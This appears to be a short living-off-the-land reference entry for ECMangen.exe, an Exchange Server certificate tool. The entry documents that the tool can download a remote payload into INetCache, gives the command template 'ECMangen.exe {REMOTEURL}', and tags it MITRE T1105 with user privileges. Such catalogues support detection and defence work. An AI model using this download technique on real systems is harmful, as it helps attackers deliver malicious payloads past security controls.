ECMangen.exe

Command-line tool for managing certificates in Microsoft Exchange Server.

Download

It will download a remote payload and place it in INetCache

ECMangen.exe {REMOTEURL}

Downloads payload from remote server — MITRE: T1105 — Privileges: User